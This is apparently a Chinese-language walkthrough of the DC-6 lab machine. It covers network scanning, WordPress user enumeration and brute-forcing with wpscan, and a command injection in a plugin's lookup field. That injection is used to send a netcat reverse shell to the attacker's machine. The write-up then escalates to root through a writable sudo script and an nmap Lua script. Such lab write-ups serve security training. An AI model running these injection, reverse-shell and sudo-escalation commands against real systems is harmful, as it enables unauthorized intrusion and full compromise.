一、搭建环境
kali充当攻击机 ip地址是:192.168.200.14
DC-6充当靶机 : IP地址暂时未知
注意:让两台机器的使用同一种网络适配器
二、信息收集
1.探索同网段存活的主机、
①第一种方法
arp-scan -l
②第二种方法
netdiscover -i eth0 -r 192.168.200.0/24
③第三种方法
nmap -sP 192.168.200.0/24 -T4
2、开放端口信息
nmap -sS -A 192.168.200.7 -p 1-65535
80端口和22端口开放,登录网页
应该是被重定向,在kali当中找到hosts文件,将192.168.200.7 wordy的关系写入进去
刷新网页后,看到网页使用的是wordpress cms+
该靶机的CMS系统为wordpress5.1.1
根据CMS版本思路:
第一:利用目录扫描工具寻找该CMS的后台管理系统,然后再爆破密码和账号,进入后台管理系统寻找可利用的点。
利用kali工具dirb,发现后台目录
dirb http://192.168.200.7/
后台界面
3、后台爆破
继续爆破账号密码,使用针对该CMS的账号爆破工具wpscan,猜解密码:
wpscan --url http://wordy -e u
#指定url,枚举其中的用户名
将以上用户名保存在一个新的文件当中,user.txt
cewl根据本文生成密码,然后再利用爆破工具暴力破解
提示信息
提示用kali自带的字典rockyou.txt导出包含k01的密码导出来的字典爆破(没解压的先解压,我之前解压过了)
cat /usr/share/wordlists/rockyou.txt | grep k01 > pwd.txt
账号和密码都有了开始爆破
wpscan --url wordy -U user.txt -P pwd.txt
账号:**mark **
密码:helpdesk01
第二:在网络上搜索该版本的漏洞,或使用searchsploit,msfconsole等工具寻找漏洞及利用方法。
登陆后台
三、漏洞探测
这里寻找到两个线索,
第一:该网站使用了activity monitor工具。
第二,在activity monitor目录的tools一栏存在可注入的点
根据这两个线索,本文又有两个思路:
第一:既然会回传用户的输入到后台解析,那么是否可以修改数据包达到我们的目的呢?可以利用BP抓包测试。
第二:利用前文提到的漏洞扫描工具对activity monitor进行扫描,寻找历史漏洞。
利用第一个思路,输入qquhu.com,点击lookup
BURP抓包测试,发现管道符后面的whoami运行了。说明此处存在漏洞。.
反弹shell
利用该漏洞反弹一个shell。
首先在kali虚拟机上开启监听
nc -lvvp 6666
将包改成 qq.com | nc -e /bin/bash 192.168.200.14 6666 # kali的IP地址
执行成功
利用python开启交互模式。输入命令
python -c 'import pty;pty.spawn("/bin/bash")'
打开home目录,查找新的线索:
在mark目录下存在一个things-to-do文件,发现了graham的账号密码
然后登陆graham的账号密码,登陆失败,该靶机还开启了22端口因此尝试ssh登录。
ssh graham@192.168.200.7
提权
sudo -l #尝试sudo -l j免密登录
User graham may run the following commands on dc-6:(jens) NOPASSWD: /home/jens/backups.sh
# 看看当前用户拥有的权限,可以对backups.sh执行写操作cd /home/jens
# 写入/bin/bash,执行,切换到jens的shell
echo "/bin/bash" >> backups.sh
sudo -u jens ./backups.sh
# 发现可以以root权限执行nmapsudo -l
User jens may run the following commands on dc-6:(root) NOPASSWD: /usr/bin/nmap
#发现可以用root权限执行nmap,nmap在早期版本是可以用来提权的将提权代os.execute("/bin/sh")
写入一个文件中。echo "os.execute('/bin/bash')" > getshell
sudo nmap --script=getshell
进入/home/jens目录,打开backups.sh文件,里面是一个压缩命令行,说明该文件可以运行。
可以在该文件中添加/bin/bash语句,则可以打开jens的shell了。
echo '/bin/bash' >> backups.sh #在文件中添加命令行
sudo ./backups.sh #运行失败,因为此时是graham哟用户
sudo -u jens ./backups.sh #-u 指定用户
jens可以免密码运行root权限nmap,nmap可以运行文件
nmap提权:以root的权限用nmap执行这个脚本,打开root shell的文件,再让nmap执行
echo "os.execute('/bin/bash')" > getshell
sudo nmap --script=getshell
在root目录下发现flag